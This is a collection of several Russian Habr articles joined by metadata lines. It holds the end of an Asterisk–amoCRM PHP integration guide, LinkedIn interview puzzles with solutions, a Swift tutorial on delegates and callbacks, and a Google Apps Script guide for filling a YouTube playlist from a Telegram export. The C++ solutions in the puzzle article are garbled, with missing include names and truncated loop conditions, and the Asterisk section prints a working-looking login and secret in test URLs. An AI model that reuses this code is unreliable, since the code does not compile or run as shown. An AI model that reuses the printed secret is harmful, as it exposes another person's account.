$r=\_rq($url,$cookie);
// divide in 2 parts
list($headersRaw,$body)=explode("\r\n\r\n",$r,2);
// parse headers
$headersRaw=explode("\r\n",$headersRaw);
$headers=array();
foreach ($headersRaw as $h){
if (strpos($h,':')===false) continue;
list($hname,$hv)=explode(":",$h,2);
$headers[strtolower(trim($hname))]=trim($hv);
}
// fetch cookie
if (!empty($headers['set-cookie'])){
$listcookies=explode(';',$headers['set-cookie']);
foreach ($listcookies as $c){
list($k,$v)=explode('=',trim($c),2);
if ($k=='mansession\_id') $cookie=$v;
}
}
return array($body,$cookie);
}
/\*\* mare a request to URI and return RAW resp or false on fail
\* @param $url
\* @param $cookie
\* @return bool|string
\*/
function \_rq($url,$cookie){
$errno=$errstr="";
$fp = fsockopen(AC\_HOST, AC\_PORT, $errno, $errstr, 3);
if (!$fp) return false;
$out = "GET {$url} HTTP/1.1\r\n";
$out .= "Host: ".AC\_HOST."\r\n";
if (!empty($cookie)) $out.="Cookie: mansession\_id={$cookie}\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$r='';
while (!feof($fp)) $r.=fgets($fp);
fclose($fp);
return $r;
}
```
Обратите внимание!
Мои пояснения к параметрам в начале скрипта даны прямо в коде.
Проверить работу скрипта можно по следующим линкам (обратите внимание — я использую свои логин/пароль и путь к скрипту, у вас они должны отличаться):
\_https://asterisk.vistep.ru/amocrm.php?\_login=amocrm&\_secret=JD3clEB8f4-\_3ry84gJ&\_action=test\_cdr
\_https://asterisk.vistep.ru/amocrm.php?\_login=amocrm&\_secret=JD3clEB8f4-\_3ry84gJ&\_action=status
выхлоп должен быть как на
**скринах**
test\_cdr
status
### Тестируем получившуюся связку
По итогу выполненных настроек мы получим следующие фичи:
* отображение звонка в amoCRM (если контакт уже есть, высвечивается ФИО и можно перейти в карточку контакта, если нет, то создать новый в один клик)
* отображение ФИО контакта из amoCRM на телефоне при входящем звонке
* возможность совершить вызов из интерфейса amoCRM в пару кликов
* переадресовать вызов ответственному менеджеру, переведя его на специальный номер
Для демонстрации лучше всего подойдет видео-формат, поэтому извольте:
### Заключение
Надеюсь данной статьей я сумел полностью закрыть вопрос интеграции amoCRM и Asterisk.
Если у вас возникнут вопросы, милости прошу в комментарии.
Нет аккаунта на Хабре? — Мои координаты есть профиле, пишите, постараюсь помочь.
Asterisk — это fun!
Всем удачи! | https://habr.com/ru/post/325104/ | null | ru | null |
# Выпуск#28: ITренировка — актуальные вопросы и задачи от ведущих компаний
Привет!
Сегодня в нашей рубрике задачи с собеседований в LinkedIn.
Если с ходу-с лету решите их все и всерьез задумаетесь о том, чтобы податься в LinkedIn — рекомендуем вам послушать выпуск нашего подкаста.
Он, правда, про продактов, но в нем мы подробно расспрашиваем у Дмитрия Бердникова — Strategy & Operations Director LinkedIn’а про все этапы собеседований в компанию.
Слушайте, где удобно ↓
[Apple Подкасты](https://clck.ru/JKq22)
[Google Подкасты](https://clck.ru/JKq6j)
[Яндекс.Музыка](https://clck.ru/JKqB9)
Или на [странице подкаста](https://anchor.fm/lovingit)
И кстати, ответы на предыдущие задачки уже [опубликованы](https://habr.com/ru/company/spice/blog/478250/)! Сверяйтесь с ними.
Вопросы
-------
1. **Monty Hall problem**
> Suppose you’re on a game show, and you’re given the choice of three doors: Behind one door is a car; behind the others, goats. You pick a door, say No. 1, and the host, who knows what’s behind the doors, opens another door, say No. 3, which has a goat. He then says to you, “Do you want to pick door No. 2?”
>
> Is it to your advantage to switch your choice?
**Перевод**Предположим, вы находитесь на игровом шоу, и вам предоставляется выбор из трех дверей: за одной дверью-автомобиль; за другими-козы. Вы выбираете дверь, скажем, №1, и ведущий, который знает, что за дверями, открывает другую дверь, скажем, №3, в которой есть коза. Затем он говорит вам «Хотите ли вы выбрать дверь №2?»
Выгодно ли вам поменять свой выбор?
2. **Find the Jar with contaminated pills**
> You have 5 jars of pills. Each pill weighs 10 grams, except for contaminated pills contained in one jar, where each pill weighs 9 grams. Given a scale, how could you tell which jar had the contaminated pills in just one measurement?
**Перевод**У вас есть 5 банок таблеток. Каждая таблетка весит 10 граммов, за исключением заражённых таблеток, содержащихся в одной банке, где каждая таблетка весит 9 граммов. У вас есть весы, как вы смогли бы определить, в какой банке были зараженные таблетки, всего за одно взвешивание?
Задачи
------
1. **Distinct Substrings**
> Given a string S consisting of uppercase alphabetic characters. Return the number of different substrings of size 2 that appear in S as contiguous substrings.
>
>
>
> **Input:** The first line contains 'T' denoting the number of testcases. Then follows description of test cases. The next T lines contains the string S.
>
>
>
> **Output:** Output the number of different substrings of size 2 in S.
>
>
>
> **Constraints:**
>
> `1<=T<=50
>
> 1<=|S|<=100`
>
>
>
> **Example:
>
> Input :**
>
> `2
>
> ABCAB
>
> XYZ`
>
>
>
> **Output:**
>
> `3
>
> 2`
>
>
>
> **Explanation:** For «ABCAB», the three distinct substrings of size 2 are «AB», «BC» and «CA». For «XYZ», the two distinct substrings of size 2 are «XY» and «YZ».
**Перевод**Дана строка S, состоящая из прописных буквенных символов. Верните количество различных подстрок размера 2, которые отображаются в S как смежные подстроки.
**Ввод:** Первая строка содержит 'T', обозначающее количество тестов. Далее следует описание тестов. Следующие T строк содержат строку S.
**Выход:** Выведите единственное число — количество различных подстрок размера 2 в строке S.
**Ограничения:**
`1< = T< = 50
1<= / S / < = 100`
**Пример:
Ввод:**
`2
ABCAB
XYZ`
**Выход:**
`3
2`
Пояснение: для «ABCAB» тремя различными подстроками размера 2 являются «AB», «BC» и «CA». Для «XYZ», две отдельные подстроки с размером 2 это «XY» и «YZ».
2. **Longest consecutive subsequence**
> Given an array **arr[]** of positive integers. Find the length of the longest sub-sequence such that elements in the subsequence are consecutive integers, the **consecutive numbers can be in any order.**
>
>
>
> **Input:**
>
> The first line of input contains T, number of test cases. First line of line each test case contains a single integer N.
>
> Next line contains N integer array.
>
>
>
> **Output:**
>
> Print the output of each test case in a seprate line.
>
>
>
> **Constraints:**
>
> `1 <= T <= 100
>
> 1 <= N <= 105
>
> 0 <= a[i] <= 105`
>
>
>
> **Example:
>
> Input:**
>
> `2
>
> 7
>
> 2 6 1 9 4 5 3
>
> 7
>
> 1 9 3 10 4 20 2`
>
>
>
> **Output:**
>
> `6
>
> 4`
>
>
>
> **Explanation:
>
> Testcase 1:** The consecutive numbers here are 1, 2, 3, 4, 5, 6. These 6 numbers form the longest consecutive subsquence.
>
>
>
> **Testcase2:** 1, 2, 3, 4 is the longest consecutive subsequence.
**Перевод**Дан массив **arr[]** положительных целых чисел. Найти длину самой длинной подпоследовательности такой, что элементы в подпоследовательности являются последовательными целыми числами, **последовательные числа могут быть в любом порядке**.
**Ввод:**
Первая строка ввода содержит T, количество тестовых случаев. Первая строка каждого теста содержит одно целое число N.
Следующая строка содержит N целых массивов.
**Выход:**
Выведите выходные данные каждого теста в отдельной строке.
**Ограничения:**
`1 < = T < = 100
1 < = N < = 105
0 <= a[i] < = 105`
**Пример:
Ввод:**
`2
7
2 6 1 9 4 5 3
7
1 9 3 10 4 20 2`
**Выход:**
`6
4`
**Объяснение:
Тест 1:** последовательные номера здесь 1, 2, 3, 4, 5, 6. Эти 6 чисел образуют самый длинный последовательный подзапрос.
**Тест 2:** 1, 2, 3, 4 — Самая длинная последовательная подпоследовательность.
3. **Distinct palindromic substrings**
> Given a string of lowercase ASCII characters, find all distinct continuous palindromic sub-strings of it.
>
>
>
> **Input:**
>
> The first line of input contains an integer T denoting the number of test cases. Then T test cases follow. Each test case contains a string.
>
>
>
> **Output:**
>
> Print the count of distinct continuous palindromic sub-strings of it.
>
>
>
> **Constraints:**
>
> `1<=T<=10^5
>
> 1<=length of string<=10^5`
>
>
>
> **Example:
>
> Input:**
>
> `2
>
> abaaa
>
> geek`
>
>
>
> **Output:**
>
> `5
>
> 4`
**Перевод**Дана строка строчных символов ASCII, найдите все ее отдельные непрерывные палиндромные подстроки.
**Ввод:**
Первая строка входных данных содержит целое число T, обозначающее количество тестов. Затем следуют тесты. Каждый тест содержит строку.
**Выход:**
Выведите количество отдельных непрерывных палиндромных подстрок этого типа.
**Ограничения:**
`1< = T<=10^5
1< = длина строки<=10^5`
**Пример:
Ввод:**
`2
abaaa
geek`
**Выход:**
`5
4`
Ответы
------
**Вопрос 1**Если вы поменяете свой выбор, вы получите автомобиль с вероятностью 2/3. Так что смена выбора в такой ситуации увеличивает вероятность выигрыша.
Подробнее описано на [Википедии](https://en.wikipedia.org/wiki/Monty_Hall_problem). Также можно изучить данную [лекцию](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-042j-mathematics-for-computer-science-fall-2010/video-lectures/lecture-18-probability-introduction/). В дополнение есть [онлайн-симуляция](http://www.simulateanything.com/simulation?id=monty_hall%5E_%5Eamp%5E_%5Ev=20) задачи Монти Хола.
**Вопрос 2**Возьмите 1 таблетку из банки 1, 2 таблетки из банки 2, 3 таблетки из банки 3, 4 таблетки из банки 4 и 5 таблеток из банки 5. Положите все эти 15 таблеток на весы. Правильный вес-150 (15\*10). Но в одной из банок есть зараженные таблетки. Так что вес точно будет меньше 150. Если вес 149, то банка 1 имеет зараженные таблетки, потому что есть только одна зараженная таблетка. Если вес 148, то банка 2, Если вес 147, то банка 3, Если 146, то банка 4, Если 145, то банка 5.
**Задача 1**Решение на python
```
for _ in range(int(input())):
s = input()
ls = [s[i:i+2] for i in range(0,len(s))]
del ls[-1]
ls = list(set(ls))
print(len(ls))
```
**Задача 2**
```
#include
using namespace std;
int main()
{
int t;
cin >> t;
while(t--)
{
int n;
cin >> n;
int ar[n];
for(int i=0;i> ar[i];
//\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
//Finding Max Element of Array
int max=-1;
for(int i=0;imax)
{
max=ar[i];
}
}
//\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
int size = max+1;
int hash[size]={0};
for(int i=0;i1)
hash[ar[i]]=1;
}
int count = 1,max\_count = 1;
for(int i=0;imax\_count)
max\_count=count;
count = 1;
}
}
cout << max\_count << endl;
}
}
```
**Задача 3**
```
#include
using namespace std;
bool ispalindrome(string s)
{
int i=0;int j=s.length()-1;
while(i>t;
while(t--)
{
string s;
cin>>s;
vectorans;
for(int l=1;l<=s.length();l++)
{
for(int i=0;i
``` | https://habr.com/ru/post/479320/ | null | ru | null |
# Делегаты и колбэки в Swift простым языком. Что же такое этот delegate, и как работает callback
В Swift при изучении UI (User Interface) каждый рано или поздно приходит к необходимости использования делегата. Все гайды о них пишут, и вроде бы делаешь, как там написано, и вроде бы работает, но почему и как это работает, не у каждого в голове укладывается до конца. Лично у меня даже какое-то время складывалось ощущение, что delegate – это какое-то волшебное слово, и что оно прям встроено в язык программирования (вот, насколько запутаны были мои мысли от этих гайдов). Давайте попытаемся объяснить простым языком, что же это такое. А разобравшись с делегатом, уже гораздо легче будет понять, что такое колбэк (callback), и как работает он.
Официант и повар
----------------
Итак, перед тем как перейти к коду давайте представим себе некоего официанта и какого-нибудь повара. Официант получил заказ от клиента за столиком, но сам он готовить не умеет, и ему нужно попросить об этом повара. Он может пойти на кухню и сказать повару: «Приготовь курицу». У повара есть соответствующие инструменты (сковорода, масло, огонь…) и навык приготовления. Повар готовит и отдает блюдо официанту. Официант берет то, что сделано поваром и несет к клиенту.
А теперь представим себе ситуацию, что официант не может прибежать на кухню и сказать повару напрямую, какое блюдо у него заказали. Не пускают его на кухню (допустим, такие правила) или кухня находится на другом этаже (устанешь бегать). И единственный способ общения – это окошко мини-лифта. Официант кладет туда записку, нажимает кнопку, лифт уехал на кухню. Приезжает обратно с готовым блюдом. Запомнили? Теперь зафиксируем ситуацию в голове, попробуем воссоздать через код и понять, как это связано с нашей темой.
Перенесем в код
---------------
Создаем классы официанта и повара. Для простоты сделаем это в плейграунде:
```
import UIKit
// Создаем класс официанта
class Waiter {
/// Свойство "заказ" - опциональная информация о текущем заказе. О заказе может узнать только официант, поэтому "private".
private var order: String?
/// Метод "принять заказ".
func takeOrder(_ food: String) {
print("What would you like?")
print("Yes, of course!")
order = food
sendOrderToCook()
}
/// Метод "отправить заказ повару". Мог бы сделать только официант. Но как?
private func sendOrderToCook() {
// ??? Как передать повару заказ?
}
/// Метод "доставить блюдо клиенту". Умеет только официант.
private func serveFood() {
print("Your \(order!). Enjoy your meal!")
}
}
// Создаем класс повара
class Cook {
/// Свойство "сковорода". Есть только у повара.
private let pan: Int = 1
/// Свойство "плита". Есть только у повара.
private let stove: Int = 1
/// Метод "приготовить". Умеет только повар.
private func cookFood(_ food: String) -> Bool {
print("Let's take a pan")
print("Let's put \(food) on the pan")
print("Let's put the pan on the stove")
print("Wait a few minutes")
print("\(food) is ready!")
return true
}
}
```
Теперь создаем их экземпляры (нанимаем на работу), и просим официанта получить заказ (курицу):
```
// Нанимаем на работу официанта и повара (создаем экземпляры):
let waiter = Waiter()
let cook = Cook()
// Сначала скажем официанту получить заказ. Допустим, он получает курицу:
waiter.takeOrder("Chiken")
```
Как теперь официанту передать повару, что ему приготовить?
Конечно, можно было бы написать ниже вот так, если бы свойства и методы официанта и повара не были private. Но так как у них уровень доступа private, то это не сработает:
```
cook.cookFood(waiter.order!)
// 'cookFood' is inaccessible due to 'private' protection level
// 'order' is inaccessible due to 'private' protection level
```
И к тому же мы использовали некий сторонний код «снаружи» классов официанта и повара, которому необходимо иметь доступ к private свойствам и методам этих классов. А как официанту передать "изнутри" себя, используя встроенные свойства и методы своего класса? Тот же вопрос со стороны повара: "Как ему приготовить то, что известно только официанту, используя свойства и методы своего класса?"
Тут на помощь приходит "лифт". В этот лифт официант кладет записку с заказом. А повар берет записку из лифта и ставит в лифт готовое блюдо для передачи повару. Такой "лифт" реализуется через протокол "Взаимообмен через лифт":
```
protocol InterchangeViaElevatorProtocol {
func cookOrder(order: String) -> Bool
}
```
В данном случае мы говорим, что у лифта есть "интерфейс", который должен быть понятен и официанту, и повару. То есть правила взаимообмена через этот лифт. Правила взаимообмена должны знать и официант, и повар. Они простые: официант кладет записку, а повар готовит по ней.
Теперь давайте поправим классы, чтобы официант мог общаться с поваром через этот лифт. Научим их работать по этому правилу(протоколу).
Подпишем класс повара под протокол лифта. Грубо говоря, мы научим всех наших поваров соблюдать правила, описанные в этом протоколе "Обмен через лифт". В таком случае Xcode заставит нас дописать в класс повара метод из протокола. Этот метод в данном примере должен будет вернуть Bool значение.
В этом методе мы вызовем ранее созданный метод cookFood, который повар умеет выполнять.
```
extension Cook: InterchangeViaElevatorProtocol {
func cookOrder(order: String) -> Bool {
cookFood(order)
}
}
```
Далее официанту добавим свойство "получатель заказа через лифт". Официант знает, что этот получатель знает правила и приготовит то, что в записке.
```
extension Waiter {
var receiverOfOrderViaElevator: InterchangeViaElevatorProtocol? { return cook }
}
```
В данном примере мы использовали расширение, которое не позволяет делать переменные с хранимыми свойствами. Поэтому мы вынуждены дописать в фигурных скобках return cook.
Но можно сделать по-другому: просто добавить без расширения прямо внутрь класса официанта это опциональное свойство, а затем извне этому свойству присвоить экземпляр нашего повара. Главное не забыть подписать класс повара под протокол.
Давайте так и сделаем, чтобы не усложнять наш простой пример экстеншенами. Удалим эти экстешнены и просто добавим строчки в ранее созданные классы, и подпишем класс повара под протокол.
Вот теперь как будут выглядеть наши классы:
```
import UIKit
protocol InterchangeViaElevatorProtocol {
func cookOrder(order: String) -> Bool
}
class Waiter {
// Далее официанту добаим свойство "получатель заказа через лифт". Официанту известно, что этот получатель знает правила и приготовит то, что в записке.
var receiverOfOrderViaElevator: InterchangeViaElevatorProtocol?
var order: String?
func takeOrder(_ food: String) {
print("What would you like?")
print("Yes, of course!")
order = food
sendOrderToCook()
}
private func sendOrderToCook() {
// ??? Как передать повару заказ?
}
private func serveFood() {
print("Your \(order!). Enjoy your meal!")
}
}
// Создаем класс повара
class Cook: InterchangeViaElevatorProtocol {
private let pan: Int = 1
private let stove: Int = 1
private func cookFood(_ food: String) -> Bool {
print("Let's take a pan")
print("Let's put \(food) on the pan")
print("Let's put the pan on the stove")
print("Wait a few minutes")
print("\(food) is ready!")
return true
}
// Необходимый метод, согласно правилу(протоколу):
func cookOrder(order: String) -> Bool {
cookFood(order)
}
}
```
В классе официанта убрали пока private у свойства order (нужно сейчас для наглядности).
Далее все по той же схеме:
1. Нанимаем официанта и повара
2. Добавим официанту заказ:
```
// Нанимаем на работу официанта и повара:
let waiter = Waiter()
let cook = Cook()
// Добавим официанту заказ:
waiter.takeOrder("Chiken")
```
Теперь скажем официанту, что его "получатель заказа через лифт" – это наш повар.
```
// Теперь скажем официанту, что его "получатель заказа через лифт" - это наш повар:
waiter.receiverOfOrderViaElevator = cook
```
Как уже говорилось ранее, официант знает, что этот получатель знает правила и приготовит то, что в записке.
Теперь официант может нашего "получателя заказа через лифт" попросить приготовить заказ:
```
// Теперь официант может нашего "получателя заказа через лифт" попросить приготовить заказ:
waiter.receiverOfOrderViaElevator?.cookOrder(order: waiter.order!)
```
Запускаем код, получаем результат!
```
/*
What would you like?
Yes, of course!
Let's take a pan
Let's put Chiken on the pan
Let's put the pan on the stove
Wait a few minutes
Chiken is ready!
*/
```
Как Дубровский «имел связь с Машей через дупло», так и наш официант теперь имеет возможность отправлять заказы повару через протокол и известный официанту метод данного протокола.
Можно теперь доделать у класса «Официант» метод передачи заказа, чтобы официант мог делать это «изнутри себя», то есть используя свои собственные свойства и методы, а не указания со стороны.
```
private func sendOrderToCook() {
//Добавим вызов метода cookOrder у нашего "получателя заказов через лифт":
receiverOfOrderViaElevator?.cookOrder(order: order!)
}
```
Вот и все дела! В данном случае мы добавляли официанту опциональное свойство receiverOfOrderViaElevator, подписанное под протокол. **Это свойство и есть делегат.** Можете заменить название этого свойства на delegate, если хотите. По сути ничего не изменится, просто это более универсальное слово, вот и все.
Теперь вы понимаете принцип работы делегата? «Окей, – скажете вы. – А как это использовать в UI?»
Как использовать delegate при создании контроллеров в UI?
---------------------------------------------------------
В UI с необходимостью использования делегата чаще всего встречаются в случае, когда необходимо от одного «дочернего» контроллера передать информацию «родительскому». Например, нужно передать от ячейки информацию создавшему ее table view или collection view. От table view или collection view передать информацию ячейке легко: это можно сделать при ее инициализации. А вот обратно передать информацию сама ячейка напрямую не может. Вот тут и спасает шаблон (паттерн) под названием «Делегат» («Delegate»).
*Кстати, слово Delegable в русской раскладке будет как «Вудупфиду». Так вот, значит, о чем пела Мерлин Монро!*
Давайте представим, что повар – это хозяин кафе. И он нанимает нашего официанта. То есть создает экземпляр класса Waiter. Добавим ему умение(метод) hireWaiter. Получим вот такой класс (кстати, пусть на этот раз это будет шеф-повар):
```
// Создаем класс шеф-повара
class Chief: InterchangeViaElevatorProtocol {
private let pan: Int = 1
private let stove: Int = 1
private func cookFood(_ food: String) -> Bool {
print("Let's take a pan")
print("Let's put \(food) on the pan")
print("Let's put the pan on the stove")
print("Wait a few minutes")
print("\(food) is ready!")
return true
}
// Необходимый метод, согласно правилу(протоколу):
func cookOrder(order: String) -> Bool {
cookFood(order)
}
// Шеф-повар умеет нанимать официантов в свое кафе:
func hireWaiter() -> Waiter {
return Waiter()
}
}
```
Теперь шеф-повар открывает кафе и нанимает официанта (создаем экземпляр шеф-повара и вызываем у него метод hireWaiter):
```
// Создаем экземпляр шеф-повара (шеф-повар открывает кафе):
let chief = Chief()
// Шев-повар нанимает официанта:
let waiter = chief.hireWaiter()
// Добавим официанту заказ:
waiter.takeOrder("Chiken")
```
Далее все по старинке. Нужно обучить официанта, что его "получатель заказа через лифт" – это наш шеф-повар. И тогда он сможет передать ему заказ.
```
// Обучаем официанта, что его "получатель заказа через лифт" - это наш шеф-повар:
waiter.receiverOfOrderViaElevator = chief
// Теперь официант может нашего "получателя заказа через лифт" попросить приготовить заказ:
waiter.receiverOfOrderViaElevator?.cookOrder(order: waiter.order!)
```
Если запустить код, то снова все сработает.
Отлично. А теперь представим, что появился новый шеф-повар, который рассказывает официанту ещё **при найме на работу**, что его «получателем заказа через лифт» будет сам шеф-повар.
```
class SmartChief: Chief {
override func hireWaiter() -> Waiter {
let waiter = Waiter()
waiter.receiverOfOrderViaElevator = self // Сразу же настраивает официанту свойство получателя заказа через лифт
return waiter
}
}
```
*Здесь мы просто наследовали класс SmartChief от класса Chief и переписали метод найма официантов.*
Получается, что теперь нет необходимости как-то отдельно указывать официанту (обучать), кто его получатель заказа через лифт. Он с самого начала работы уже об этом знает!
```
let smartChief = SmartChief()
let smartWaiter = smartChief.hireWaiter()
smartWaiter.takeOrder("Fish")
/*
What would you like?
Yes, of course we have Fish!
Let's take a pan
Let's put Fish on the pan
Let's put the pan on the stove
Wait a few minutes
Fish is ready!
*/
```
**Тоже самое и в контроллерах**:
1. **Пишем протокол** (правило), в котором описываем нужный нам метод, который принимает необходимые аргументы и, если нужно, что-то выдает.
2. **Подписываем «порождающий» контроллер** под этот протокол **и пишем** в нем этот **метод**.
3. **У дочернего контроллера** (например, у ячейки) **добавляем** опциональное свойство **делегата**, являющееся типом нашего протокола (то есть поддерживающего тип нашего протокола)
4. **При создании** дочернего контроллера **ставим в его свойстве делегата себя**, то есть self «порождающего» контроллера.
Естественно, это можно делать не только с «порождающими» контроллерами, а вообще с любыми объектами, которые мы хотим научить общаться друг с другом.
На этом про делегаты всё. Надеюсь, было полезно! Теперь разберемся в колбэках.
Колбэки (колбеки, callback). Это тот же делегат? Ну, почти
----------------------------------------------------------
Итак, мы выяснили, что делегаты позволяют одним объектам «общаться» с другими. Иначе говоря, позволяют одним объектам добиваться своей цели с помощью свойств и методов других объектов. Для чего же нужны колбэки? И почему они в одной статье с делегатами?
> Колбэк (callback) – это тоже шаблон программирования, как и делегат. С его помощью также одни объекты могут добиваться своих целей с помощью свойств и методов других объектов. Только делать они это будут сами.
### Ленивый шеф-повар, талантливый официант
Представьте себе, что в другом ресторане шеф-повар очень ленивый (или усталый, или заболел). Официант принял заказ, звонит повару, а тот ему говорит: «Давай-ка сам приготовь! Возьми мою сковородку, поставь на плиту и приготовь по рецепту!» Наш официант оказался не из робкого десятка, берет инструкцию, инструменты повара и все делает сам. **Это и есть подход через колбэк.**
Давайте посмотрим это на практике.
Создадим класс талантливого официанта. Добавим опциональное свойство функционального типа. Под этим названием кроется функция, которая принимает на вход аргумент с типом String и возвращает результат с типом Bool. Прямо как метод cookFood у нашего повара! Это что-то вроде способности сделать что-то по инструкции.
```
/// Класс талантливого официанта
class TalentedWaiter {
var order: String?
// Добавим опциональное свойство функционального типа. Это функция, которая принимает на вход аргумент с типом String и возвращает результат с типом Bool.
var doEverything: ((String) -> Bool)?
func takeOrder(_ food: String) {
print("What would you like?")
print("Yes, of course we have \(food)!")
order = food
// Вместо передачи заказа шев-повару официант попытается сделать сам:
doOwnself()
}
private func doOwnself() -> Bool {
// Если инструкция существует, то он ее выполнит:
if let doEverything = doEverything {
let doOwnself = doEverything(order!)
return doOwnself
} else {
return false
}
}
}
```
Далее создаем класс ленивого шеф-повара. В этот раз при найме на работу талантливого официанта, повар не назначает себя делегатом, а обучает его самому готовить. Он передает в именованное функциональное свойство официанта свое умение готовить, которое включает в себя и доступ к сковородке с плитой. То есть он присваивает замыкание его свойству, и в этом замыкании передает свой собственный метод:
```
// Создаем класс ленивого шеф-повара
class LazyChief {
private let pan: Int = 1
private let stove: Int = 1
private func cookFood(_ food: String) -> Bool {
print("I have \(pan) pan")
print("Let's put \(food) on the pan!")
print("I have \(stove) stove. Let's put the pan on the stove!")
print("Wait a few minutes...")
print("\(food) is ready!")
return true
}
// Умение нанимать талантливых официантов:
func hireWaiter() -> TalentedWaiter {
let talentedWaiter = TalentedWaiter()
// Повар учит официанта готовить самому. Он передает ему инструкцию в виде замыкания, в котором прописывает свой собственный метод cookFood:
talentedWaiter.doEverything = { order in
self.cookFood(order)
}
return talentedWaiter
}
}
```
В результате после появления такого шеф-повара, найме на работу официанта, официант готовит блюдо самостоятельно, как только примет заказ:
```
let lazyChief = LazyChief()
let talentedWaiter = lazyChief.hireWaiter()
talentedWaiter.takeOrder("Meat")
/*
What would you like?
Yes, of course we have Meat!
I have 1 pan
Let's put Meat on the pan!
I have 1 stove. Let's put the pan on the stove!
Wait a few minutes...
Meat is ready!
*/
```
Таким образом, как и в случае с делегатом, официант «добился» своей цели и приготовил заказ.
> Получается, что способ взаимосвязи через колбэк выглядит даже несколько короче, чем способ через делегат. По крайней мере, не нужно заморачиваться с протоколами, строить правила (лифты).
**Однако у этого способа есть один минус – создание сильных связей.** Поэтому нужно всегда помнить, что **self нужно передавать через слабую ссылку**, иначе экземпляр шеф-повара навсегда свяжется с экземпляром официанта, что приведет к утечке памяти даже после удаления этих объектов.
Поэтому последний штрих будет добавить **[weak self]** перед **in** и аргументами в передающем замыкании. Всегда помните об этом, пожалуйста!
```
talentedWaiter.doEverything = { [weak self] order in
self!.cookFood(order)
}
```
На этом у меня все. Надеюсь, вам было полезно. Успехов в изучении!
Скачать итоговый код можно на [GitHub](https://github.com/Pavel-Laukhin/delegate-and-callback) | https://habr.com/ru/post/510882/ | null | ru | null |
# Добавление тысяч клипов в плейлист YouTube с канала Telegram
С приобретением телевизора с функцией просмотра YouTube и с подпиской на множество каналов Telegram, где ежедневно выкладываются клипы **захотелось убрать лишние движения между мобильным телефоном и телевизором** для просмотра очередного свежего контента.
Идея проста:
* **Дано**: Один или несколько контент-мейкерских каналов Telegram с ежедневным выкладыванием новейших клипов.
* **Задача**: Создать плейлист на своём YouTube со всеми этими клипами и автоматический отлов новых.
* **Инструменты**: Google Apps Script (GAS), YouTube API
### Экспорт истории канала Telegram
Ищем подходящий канал Telegram, который выкладывает посты с клипами YouTube (для примера возьмём @fresh\_farsh).
В правом верхнем углу три точки — "*Экспорт истории канала*".
Для списка ссылок нам нужен только текст, так что **снимаем все галочки** и ставим максимальный период выгрузки, то есть "*с первого сообщения до текущей даты*".
Выгружается папка "*ChatExport*", внутри несколько пронумерованных файлов *messages(2,3,4...).html*, количество файлов зависит от количества контента канала.
### Парсинг канала в в Google таблицы
Нам нужно сделать список ссылок YouTube для добавления в Google таблицу. Я выбрал этот [сайт](https://regex101.com).
В верхнюю строку вводим регулярное выражение:
```
">(https:\/\/[www.youtube.com\/.\*](about:blank)?)<\/a>|">(https:\/\/youtu.be\/.*?)<\/a>
```
Ниже вставляем текст из всех *messages(2,3,4).html* подряд. В правой панели виден результат.
Жмём кнопку выгрузки результата.
Отжимаем "*Include full match in exported data*", чтоб не выгружались лишние совпадения. Выбираем **CSV**, выгружаем.
Создаём Google таблицу.
Копируем в неё **CSV**, убираем лишние строки, приводим все ссылки к виду **youtu.be**
### Создание канала с плейлистом, API YouTube
Заходим на [YouTube](https://www.youtube.com/).
Справа сверху жмём на иконку аккаунта — "*Создать канал*".
Придумываем имя, **запоминаем ID канала** из адресной строки:
[https://www.youtube.com/playlist?list=](https://www.youtube.com/playlist?list=PLZqUj_5dkPHaAYSECFNOKqnsr2JypZnoo)
**Теперь нам нужно включить YouTube API.**
Создаём проект одним из способов:
* Переходим по [ссылке](https://console.cloud.google.com/), далее выбираем "*API и сервисы — Панель управления — Создать проект*"
* Перейдя сразу по [ссылке](https://console.cloud.google.com/projectcreate?previousPage=%2Fprojectselector2%2Fhome%2Fdashboard%3Fsupportedpurview%3Dproject&supportedpurview=project).
Называем проект, жмём "*Создать*".
Далее жмём "*Включить API и сервисы*", ищем "*YouTube Data API v3*" — Включить**.**
Итак, **API включен**.
Возвращаемся к Google таблице.
"*Инструменты — редактор скриптов*".
Вставляем код, где в idCHannel вставляем ID нашего канала, "*Файл — Сохранить*" (CTRL+S).
**Исходник**
```
idCHannel = 'PLZqUj_5dkPHaAYSECFNOKqnsr2JypZnoo' // ID канала
// Функция добавления клипов из Google таблицы в плейлист YouTube
function fromSheetToYouTube(){
// Берём активный лист таблицы
var ss = SpreadsheetApp.getActiveSpreadsheet()
var s = ss.getSheets()[0]
// Считываем все значения ячеек в массив
var data = s.getDataRange().getValues()
// Цикл по вячейкам.
for (var d=1; d<=200; d++) {
try {
YouTube.PlaylistItems.insert({
snippet: {
playlistId: idCHannel,
resourceId: {
kind: "youtube#video",
videoId: data[d][0].replace('https://youtu.be/','')
}
}
}, "snippet")
// Ставим галочку в столбце B напротив тех, которые успешно отправились
s.getRange("B"+parseInt(d+1)).setValue('')
// Пауза между отправками для исключения асинхрона
Utilities.sleep(1000)
// Пауза в 15 секунд после каждых 50 запросов
if (d%50 == 0) Utilities.sleep(15000)
} catch (e) {
console.error(e);
}
}
}
```
**Теперь надо подключить API к нашему скрипту.**
"*Ресурсы — Дополнительные функции Google — YouTube Data API — Вкл*".
Теперь мы готовы запустить скрипт.
В выпадающем меню "*Выбрать функцию*" выбираем "***fromSheetToYouTube***".
Жмём слева треугольник "*Выполнить*".
Если всё в порядке и нет красных ошибок, горит "*Running function fromSheetToYouTube...*", значит наш скрипт выполняется.
Клипы добавляются, можно параллельно проверить плейлист.
Добавление идёт со скоростью 1 клип в секунду плюс пауза каждые 50 клипов (по умолчанию 15 секунд)
После выполнения можно посмотреть лог ошибок в меню "*Вид — Журналы*" либо по нажатию «CTRL+ENTER», там же есть ссылка на просмотр всех ошибок запуска скрипта, называемая „*панель инструментов Apps Script*“
Если мы видим ошибку „*The request cannot be completed because you have exceeded your quota*“, это означает, что мы превысили ежедневную квоту на операции с API.
### Способы экспорта клипов. Квоты.
В YouTube есть ограничения действий с API, называемые **квотами**.
Описание квот YouTube [тут](https://developers.google.com/youtube/v3/getting-started#quota).
Остаток квот можно посмотреть [тут](https://console.developers.google.com/) по графикам (лучше выставлять сразу промежуток времени самый маленький для наглядности).
Что нам нужно знать из описания про квоты:
